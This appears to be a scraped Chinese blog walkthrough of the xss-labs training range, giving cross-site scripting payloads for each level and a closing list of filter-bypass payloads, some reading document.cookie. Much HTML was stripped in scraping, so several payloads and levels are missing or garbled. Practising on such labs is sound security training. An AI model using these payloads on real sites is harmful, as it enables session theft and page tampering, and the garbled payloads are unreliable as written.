xss

您所在的位置:网站首页 masters下载 xss

xss

2023-09-25 10:40| 来源: 网络整理| 查看: 265

xss-labs 靶场攻略

先讲讲什么是跨站脚本攻击XSS(Cross Site Scripting)

XSS原理

本质上是针对html的一种注入攻击,没有遵循数据与代码分离的原则,把用户输入的数据当作代码来执行xss跨站脚本攻击是指恶意攻击者往Web页面里插入恶意脚本代码(包括当不限于js,flash等等),当用户浏览该页面时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的目的。为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,所以将跨站脚本攻击缩写为XSS。

初学xss,最好的靶场莫过于xss-labs,直接开搞,这是下载链接https://github.com/do0dl3/xss-labs

搭建好后的开始界面如下

过关机制

首先我们先简单了解一下,过关的机制,拿第一关level1.php源码举例子代码如下(懂代码的不一定是搞安全的,搞安全的一定是懂代码的)

window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } 欢迎来到level1 欢迎来到level1

过关就一点,让浏览器蹦出弹窗即可进入下一关。但是注意!初学者不要F12自己改前端的代码,自己蹦弹窗,这是起不到训练的目的的。

第一关 直接注入

payload

/level1.php?name=alert(1)

第一关代码上面写了,没有任何过滤,直接写上

第二关 被转义了 闭合它

源码

window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } 欢迎来到level2 欢迎来到level2

我们输入的数据被写入了value里,可以添加 "> 来闭合前面的

payload

">alert(1)

第三关 利用鼠标属性

先讲讲htmlspecialchars

使用htmlspecialchars函数把预定义的字符&、”、 ’、转换为HTML实体,防止浏览器将其作为HTML元素

但是默认是只编码双引号的,而且单引号无论如何都不转义。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

- & (和号)成为 amp; - " (双引号)成为 quot; - ' (单引号)成为 ' - < (小于)成为 lt; - > (大于)成为 gt;

添加鼠标点击,出现弹窗即可

payload

'onclick='alert(1)

然后网页的表单输入框的就会被添加 onclick属性,我们点击一下,输入框即可过关

第四关 稍微加了点过滤

和第三关差不多只是在第三关的基础上添加了对 尖括号的过滤

window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } 欢迎来到level4 欢迎来到level4

payload

" onclick="alert(1)

第五关 绕过元素

第五关过滤了 on 和 window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } 欢迎来到level6 欢迎来到level6

payload

"> ">

第七关 双写绕过

这次学聪明了,把我们输入的强制改成了小写,但是过滤不严谨,我们可以双写绕过

window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } 欢迎来到level7 欢迎来到level7

没有循环过滤 把大小写屏蔽了

payload

">alert(1)

第八关 html字符实体绕过

这一关黑名单过滤还是挺严的,但是我们可以用HTML实体来绕过过滤(单单黑名单还是不安全嘞)

window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } 欢迎来到level8 欢迎来到level8

payload

arg01=version&arg02=123 第二十关 反编译

能力之外啦,以后学有所成再来补档!

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1) 个人总结的一些payload

理论上来讲,xss漏洞是可以彻底解决的,但是市面上还是 有不少的,以后再和大家分享我的挖洞经历吧!下面的payload不同场合适当加上 "> 来闭合页面的包含。还有一些payload,我复现没成功就不列举了(有些过时了被修复了)

alert(document.cookie) prompt(document.cookie) confirm(/xss/) \u0061\u006C\u0065\u0072\u0074(1) //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等 alert/*dsa*/(1) //绕过黑名单 (alert)(1) //绕过黑名单 //过滤 script时 ">


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3